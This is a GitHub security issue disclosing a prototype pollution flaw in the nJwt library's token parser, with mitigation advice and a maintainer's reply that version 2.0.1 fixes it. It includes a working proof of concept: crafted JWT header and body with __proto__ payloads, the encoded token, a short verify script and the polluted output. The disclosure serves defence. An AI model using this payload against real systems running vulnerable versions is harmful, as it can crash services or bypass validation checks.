Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[Security] Prototype Pollution in nJwt library #105

Open
chrisandoryan opened this issue Apr 27, 2024 · 1 comment
Open

[Security] Prototype Pollution in nJwt library #105

chrisandoryan opened this issue Apr 27, 2024 · 1 comment

Comments

@chrisandoryan
Copy link

Prototype Pollution in nJwt library

Description

The nJwt library is susceptible to prototype pollution, particularly affecting the JwtHeader and JwtBody objects. These objects lack validation to ensure that attributes assigned to them don't resolve to the object prototype. The problem lies within the Parser.prototype.parse method, which is invoked when a user attempts to verify a JWT token using the nJwt.verify(token, signingKey) method.

By adding or modifying attributes of an object prototype, it is possible to create attributes that exist on every object and its inheritance or bypass certain checks. This can be problematic if the software depends on the existence or non-existence of certain attributes, or uses pre-defined attributes of object prototype (such as hasOwnProperty, toString, or valueOf).

Proof of Concept (PoC)

Create a new JWT token with header and body as follows:

JWT Header

{
  "typ": "JWT",
  "alg": "HS256",
  "__proto__": {
    "compact": null,
    "reservedKeys": ["typ", "random_gibberish"] // original: ["typ", "alg"]
  }
}

JWT Body

{
  "sub": 1,
  "scope": "user",
  "jti": "4cf58968-e553-4ebd-8d52-1407c654e8d6",
  "iat": 1713925867,
  "exp": 1713929467,
  "__proto__": {
    "compact": null,
    "toJSON": null,
    "polluted": true
  }
}

Resulting Token (Example)

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsIl9fcHJvdG9fXyI6eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsIl9fcHJvdG9fXyI6eyJjb21wYWN0IjpudWxsLCJyZXNlcnZlZEtleXMiOlsidHlwIiwicmFuZG9tX2dpYmJlcmlzaCJdfX19.eyJzdWIiOjEsInNjb3BlIjoidXNlciIsImp0aSI6ImJhZmIxNmNlLTIwZDYtNGNkNy05NDgzLTY1YTA5NThhOGU2NCIsImlhdCI6MTcxMzk0NTM3OSwiZXhwIjoxNzEzOTQ4OTc5LCJfX3Byb3RvX18iOnsiY29tcGFjdCI6bnVsbCwidG9KU09OIjpudWxsLCJwb2xsdXRlZCI6dHJ1ZX19.0XBjesxGkSMBjI5_LrwobgoyG-VXI2HCXTGVU-fLFuk

Then, supply the token to be verified with nJwt.verify() function, for example:

// poc.js

var nJwt = require('njwt');

var secureRandom = require('secure-random');
var signingKey = secureRandom(256, {type: 'Buffer'});

var token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsIl9fcHJvdG9fXyI6eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsIl9fcHJvdG9fXyI6eyJjb21wYWN0IjpudWxsLCJyZXNlcnZlZEtleXMiOlsidHlwIiwicmFuZG9tX2dpYmJlcmlzaCJdfX19.eyJzdWIiOjEsInNjb3BlIjoidXNlciIsImp0aSI6ImJhZmIxNmNlLTIwZDYtNGNkNy05NDgzLTY1YTA5NThhOGU2NCIsImlhdCI6MTcxMzk0NTM3OSwiZXhwIjoxNzEzOTQ4OTc5LCJfX3Byb3RvX18iOnsiY29tcGFjdCI6bnVsbCwidG9KU09OIjpudWxsLCJwb2xsdXRlZCI6dHJ1ZX19.0XBjesxGkSMBjI5_LrwobgoyG-VXI2HCXTGVU-fLFuk";

nJwt.verify(token, signingKey);

As a result, the JwtHeader and JwtBody attributes will be polluted as follows:

JWT Header

[JWT Header] Attribute Before Pollution:  JwtHeader { typ: 'JWT', alg: 'HS256' }
[JWT Header] Prototype Before Pollution:  { reservedKeys: [ 'typ', 'alg' ], compact: [Function: compact] }

[JWT Header] Attribute After Pollution:  { typ: 'JWT', alg: 'HS256' }
[JWT Header] Prototype After Pollution:  { compact: null, reservedKeys: [ 'typ', 'random_gibberish' ] }

JWT Body

[JWT Body] Attribute Before Pollution:  JwtBody {}
[JWT Body] Prototype Before Pollution:  { toJSON: [Function (anonymous)], compact: [Function: compact] }

[JWT Body] Attribute After Pollution:  {
  sub: 1,
  scope: 'user',
  jti: 'bafb16ce-20d6-4cd7-9483-65a0958a8e64',
  iat: 1713945379,
  exp: 1713948979
}
[JWT Body] Prototype After Pollution:  { compact: null, toJSON: null, polluted: true }

Impact

An arbitrary user can override existing attributes with ones that have incompatible types, which may lead to a crash, or bypass certain checks via attribute modification, for example, overriding the JwtHeader.prototype.reservedKeys arrays. It might also be possible to create polluted attributes on every object inheriting from JwtBody and JwtHeader objects.

Mitigation

This issue can be fixed by freezing the prototype, or by implementing validation to check for prototype keywords (__proto__, constructor and prototype), where if it exists, the function denies merging it into JwtBody and JwtHeader object, thus preventing the prototype pollution vulnerability.

@jaredperreault-okta
Copy link
Contributor

@chrisandoryan This was addressed in 2.0.1

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants